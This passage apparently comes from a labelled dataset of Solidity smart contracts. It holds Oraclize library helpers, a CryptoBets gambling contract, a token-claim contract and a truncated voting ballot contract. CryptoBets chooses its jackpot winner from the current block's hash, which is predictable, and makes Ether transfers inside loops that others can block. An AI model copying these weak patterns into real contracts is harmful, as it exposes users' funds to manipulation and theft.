function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) view internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2])));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(abi.encodePacked(sha256(abi.encodePacked(context_name, queryId)))))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(abi.encodePacked(commitmentSlice1, sessionPubkeyHash))){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Access denied");
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract CryptoBets is Ownable, usingOraclize {
struct Room {
address author;
uint bet;
uint max_players;
string pass;
bool run;
bool closed;
address[] players;
}
uint public min_bet = 0.1 ether;
uint public max_bet = 3 ether;
uint public min_players = 2;
uint public max_players = 10;
uint[] public ref_payouts = [3, 2, 1];
uint public jackpot_max_players = 100;
uint public jackpot_bank = 0;
uint public commision = 0;
Room[] public rooms;
mapping(bytes32 => uint) public games;
mapping(address => address) public refferals;
address[] public jackpot_players;
mapping(address => bool) public managers;
mapping(address => uint) public withdraws;
event NewRoom(uint indexed room_id, address indexed author, uint bet, uint max_players, string pass);
event NewBet(uint indexed room_id, address indexed addr);
event Run(uint indexed room_id, bytes32 indexed id);
event FinishRoom(uint indexed room_id, address indexed winner);
event Withdraw(address indexed to, uint value);
modifier onlyManager() {
require(managers[msg.sender], "Access denied");
_;
}
constructor() payable public {
managers[0x909bf2E71fe8f8cEDb8D55E1818E152b003c5612] = true;
managers[0xB224A65FA9a76d6cc0f3c96A181894Be342fcB63] = true;
managers[0x5BC1987a3f4E43650b2E3FbE7C404c4C5ffF1531] = true;
managers[0xF20175D17Be5d6b215b6063EAaAc158969064ee8] = true;
managers[0xA745ac0BB1F88EeCF9EC0Db369Ed29F07CD42966] = true;
managers[0xdc0B815316383BA4d087a2dBB9268CB5346b88aa] = true;
managers[0x2431CfCDEa6abc4112EA67a41910D986D7475ac5] = true;
managers[0x756F9B5DAd8d119fA7442FB636Db7f3bDF5435eF] = true;
managers[0xecC78D8DA24F9625F615374279F0627c97da9379] = true;
managers[0xcBE575FFa93d7D9eE1CC7aACC72a5C93FD1e08c3] = true;
}
function() payable external {}
function __callback(bytes32 id, string res) public {
require(msg.sender == oraclize_cbAddress(), "Permission denied");
Room storage room = rooms[games[id]];
require(room.author != address(0), "Room not found");
require(!room.closed, "Room already closed");
uint result = parseInt(res);
uint win = room.bet * room.players.length;
uint comm = 14;
uint oc = oraclize_getPrice("URL");
jackpot_bank += win / 100;
address ref = refferals[room.players[result]];
if(ref != room.players[result]) {
for(uint i = 0; i < ref_payouts.length; i++) {
if(ref != address(0)) {
uint p = win * ref_payouts[i] / 100;
comm -= ref_payouts[i];
ref.transfer(p);
ref = refferals[ref];
}
else break;
}
}
room.players[result].transfer(win - (win * 15 / 100));
if(win * comm / 100 > oc) {
commision += (win * comm / 100) - oc;
}
emit FinishRoom(games[id], room.players[result]);
room.closed = true;
delete games[id];
if(jackpot_players.length >= jackpot_max_players) {
uint jp_winner = (uint(block.blockhash(block.number)) + result) % jackpot_players.length;
jackpot_players[jp_winner].transfer(jackpot_bank);
jackpot_bank = 0;
for(uint j = 0; j < jackpot_players.length; j++){
delete jackpot_players[j];
}
jackpot_players.length = 0;
}
}
function createRoom(uint players, string pass, address refferal) payable external {
require(msg.value >= min_bet && msg.value <= max_bet, "Bet does not match the interval");
require(players >= min_players && players <= max_players, "Players does not match the interval");
address[] memory pls;
rooms.push(Room({
author: msg.sender,
bet: msg.value,
max_players: players,
pass: pass,
run: false,
closed: false,
players: pls
}));
emit NewRoom(rooms.length - 1, msg.sender, msg.value, players, pass);
_joinRoom(msg.value, msg.sender, rooms.length - 1, pass, refferal);
}
function _joinRoom(uint value, address to, uint room_id, string pass, address refferal) private {
require(rooms[room_id].author != address(0), "Room not found");
require(!rooms[room_id].closed, "Room already closed");
require(value == rooms[room_id].bet, "Insufficient funds");
require(strCompare(pass, rooms[room_id].pass) == 0, "Invalid password");
require(rooms[room_id].max_players > rooms[room_id].players.length, "Room is full");
rooms[room_id].players.push(msg.sender);
jackpot_players.push(msg.sender);
if(refferals[msg.sender] == address(0)) {
refferals[msg.sender] = refferal != address(0) ? refferal : msg.sender;
}
emit NewBet(room_id, to);
if(rooms[room_id].max_players == rooms[room_id].players.length) {
_play(room_id);
}
}
function joinRoom(uint room_id, string pass, address refferal) payable external {
_joinRoom(msg.value, msg.sender, room_id, pass, refferal);
}
function _play(uint room_id) private {
require(rooms[room_id].author != address(0), "Room not found");
require(!rooms[room_id].closed, "Room already closed");
require(rooms[room_id].max_players == rooms[room_id].players.length, "Room is empty");
require(oraclize_getPrice("URL") <= address(this).balance, "Insufficient funds");
bytes32 id = oraclize_query("WolframAlpha", strConcat("RandomInteger[{0, ", uint2str(rooms[room_id].players.length - 1), "}]"));
rooms[room_id].run = true;
games[id] = room_id;
emit Run(room_id, id);
}
function play(uint room_id) onlyManager external {
_play(room_id);
}
function withdraw() onlyManager external {
uint s = commision / 10;
uint b = withdraws[msg.sender] < s ? s - withdraws[msg.sender] : 0;
require(b > 0 && address(this).balance >= b, "Insufficient funds");
withdraws[msg.sender] += b;
msg.sender.transfer(b);
emit Withdraw(msg.sender, b);
}
function setJackpotMaxPlayers(uint value) onlyOwner external {
jackpot_max_players = value;
}
} | 1 | 2,051 |
pragma solidity ^0.4.25;
contract GMBCToken {
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
}
contract GamblicaEarlyAccess {
enum State { CREATED, DEPOSIT, CLAIM }
uint constant PRIZE_FUND_GMBC = 100000000 * (10 ** 18);
event DepositRegistered(address _player, uint _amount);
GMBCToken public gmbcToken;
address public gamblica;
State public state;
uint public gmbcTotal;
mapping (address => uint) public deposit;
modifier onlyGamblica() {
require(msg.sender == gamblica, "Method can be called only by gamblica");
_;
}
constructor(address _gamblica, address _gmbcTokenAddress) public {
state = State.CREATED;
gamblica = _gamblica;
gmbcToken = GMBCToken(_gmbcTokenAddress);
}
function () external payable {
require(msg.value == 0, "This contract does not accept ether");
claim();
}
function start() public onlyGamblica {
require(gmbcToken.balanceOf(address(this)) >= PRIZE_FUND_GMBC, "Contract can only be activated with a prize fund");
require(state == State.CREATED, "Invalid contract state");
gmbcTotal = PRIZE_FUND_GMBC;
state = State.DEPOSIT;
}
function registerDeposit(address player, uint amount) public onlyGamblica {
require(state == State.DEPOSIT, "Invalid contract state");
require(gmbcTotal + amount <= gmbcToken.balanceOf(address(this)), "Cant register that deposit");
gmbcTotal += amount;
deposit[player] += amount;
emit DepositRegistered(player, amount);
}
function addWinnigs(address[] memory winners, uint[] memory amounts) public onlyGamblica {
require(winners.length == amounts.length, "Invalid arguments");
require(state == State.DEPOSIT, "Invalid contract state");
uint length = winners.length;
for (uint i = 0; i < length; i++) {
deposit[winners[i]] += amounts[i];
}
}
function end() public onlyGamblica {
require(state == State.DEPOSIT, "Invalid contract state");
state = State.CLAIM;
}
function claim() public {
require(state == State.CLAIM, "Contract should be deactivated first");
uint amount = deposit[msg.sender];
deposit[msg.sender] = 0;
gmbcToken.transfer(msg.sender, amount);
}
function die() public onlyGamblica {
uint amount = gmbcToken.balanceOf(address(this));
gmbcToken.transfer(msg.sender, amount);
selfdestruct(msg.sender);
}
} | 1 | 2,541 |
pragma solidity ^0.4.19;
contract SVLightBallotBox {
address public owner;
bool public testMode = false;
struct Ballot {
bytes32 ballotData;
address sender;
uint32 blockN;
}
mapping (uint256 => Ballot) public ballotMap;
mapping (uint256 => bytes32) public associatedPubkeys;
uint256 public nVotesCast = 0;
mapping (address => uint256) public voterToBallotID;
bytes32 public ballotEncryptionSeckey;
bool seckeyRevealed = false;
uint64 public startTime;
uint64 public endTime;
uint64 public creationBlock;
uint64 public startingBlockAround;
bytes32 public specHash;
bool public useEncryption;
bool public deprecated = false;
event CreatedBallot(address _creator, uint64[2] _openPeriod, bool _useEncryption, bytes32 _specHash);
event SuccessfulPkVote(address voter, bytes32 ballot, bytes32 pubkey);
event SuccessfulVote(address voter, bytes32 ballot);
event SeckeyRevealed(bytes32 secretKey);
event TestingEnabled();
event Error(string error);
event DeprecatedContract();
event SetOwner(address _owner);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier ballotOpen {
require(uint64(block.timestamp) >= startTime && uint64(block.timestamp) < endTime);
_;
}
modifier onlyTesting {
require(testMode);
_;
}
modifier isTrue(bool _b) {
require(_b == true);
_;
}
modifier isFalse(bool _b) {
require(_b == false);
_;
}
uint16 constant F_USE_ENC = 0;
uint16 constant F_TESTING = 1;
function SVLightBallotBox(bytes32 _specHash, uint64[2] openPeriod, bool[2] flags) public {
owner = msg.sender;
startTime = max(openPeriod[0], uint64(block.timestamp));
endTime = openPeriod[1];
useEncryption = flags[F_USE_ENC];
specHash = _specHash;
creationBlock = uint64(block.number);
startingBlockAround = uint64((startTime - block.timestamp) / 15 + block.number);
if (flags[F_TESTING]) {
testMode = true;
TestingEnabled();
}
CreatedBallot(msg.sender, [startTime, endTime], useEncryption, specHash);
}
function submitBallotWithPk(bytes32 encryptedBallot, bytes32 senderPubkey) isTrue(useEncryption) ballotOpen public {
addBallotAndVoterWithPk(encryptedBallot, senderPubkey);
SuccessfulPkVote(msg.sender, encryptedBallot, senderPubkey);
}
function submitBallotNoPk(bytes32 ballot) isFalse(useEncryption) ballotOpen public {
addBallotAndVoterNoPk(ballot);
SuccessfulVote(msg.sender, ballot);
}
function addBallotAndVoterWithPk(bytes32 encryptedBallot, bytes32 senderPubkey) internal {
uint256 ballotNumber = addBallotAndVoterNoPk(encryptedBallot);
associatedPubkeys[ballotNumber] = senderPubkey;
}
function addBallotAndVoterNoPk(bytes32 encryptedBallot) internal returns (uint256) {
uint256 ballotNumber = nVotesCast;
ballotMap[ballotNumber] = Ballot(encryptedBallot, msg.sender, uint32(block.number));
voterToBallotID[msg.sender] = ballotNumber;
nVotesCast += 1;
return ballotNumber;
}
function revealSeckey(bytes32 _secKey) onlyOwner public {
require(block.timestamp > endTime);
ballotEncryptionSeckey = _secKey;
seckeyRevealed = true;
SeckeyRevealed(_secKey);
}
function getEncSeckey() public constant returns (bytes32) {
return ballotEncryptionSeckey;
}
function setEndTime(uint64 newEndTime) onlyTesting onlyOwner public {
endTime = newEndTime;
}
function setDeprecated() onlyOwner public {
deprecated = true;
DeprecatedContract();
}
function setOwner(address newOwner) onlyOwner public {
owner = newOwner;
SetOwner(newOwner);
}
function max(uint64 a, uint64 b) pure internal returns(uint64) {
if (a > b) {
return a;
}
return b;
}
}
contract SVLightIndex {
address public owner;
struct Ballot {
bytes32 specHash;
bytes32 extraData;
address votingContract;
uint64 startTs;
}
struct Democ {
string name;
address admin;
Ballot[] ballots;
}
mapping (bytes32 => Democ) public democs;
bytes32[] public democList;
mapping (address => bool) public democWhitelist;
mapping (address => bool) public ballotWhitelist;
address public payTo;
uint128 public democFee = 0.05 ether;
mapping (address => uint128) democFeeFor;
uint128 public ballotFee = 0.01 ether;
mapping (address => uint128) ballotFeeFor;
bool public paymentEnabled = true;
uint8 constant PAY_DEMOC = 0;
uint8 constant PAY_BALLOT = 1;
function getPaymentParams(uint8 paymentType) internal constant returns (bool, uint128, uint128) {
if (paymentType == PAY_DEMOC) {
return (democWhitelist[msg.sender], democFee, democFeeFor[msg.sender]);
} else if (paymentType == PAY_BALLOT) {
return (ballotWhitelist[msg.sender], ballotFee, ballotFeeFor[msg.sender]);
} else {
assert(false);
}
}
event PaymentMade(uint128[2] valAndRemainder);
event DemocInit(string name, bytes32 democHash, address admin);
event BallotInit(bytes32 specHash, uint64[2] openPeriod, bool[2] flags);
event BallotAdded(bytes32 democHash, bytes32 specHash, bytes32 extraData, address votingContract);
event SetFees(uint128[2] _newFees);
event PaymentEnabled(bool _feeEnabled);
modifier onlyBy(address _account) {
require(msg.sender == _account);
_;
}
modifier payReq(uint8 paymentType) {
bool wl;
uint128 genFee;
uint128 feeFor;
(wl, genFee, feeFor) = getPaymentParams(paymentType);
uint128 v = 1000 ether;
if (paymentEnabled && !wl) {
v = feeFor;
if (v == 0){
v = genFee;
}
require(msg.value >= v);
uint128 remainder = uint128(msg.value) - v;
payTo.transfer(v);
if (!msg.sender.send(remainder)){
payTo.transfer(remainder);
}
PaymentMade([v, remainder]);
}
_;
}
function SVLightIndex() public {
owner = msg.sender;
payTo = msg.sender;
}
function nDemocs() public constant returns (uint256) {
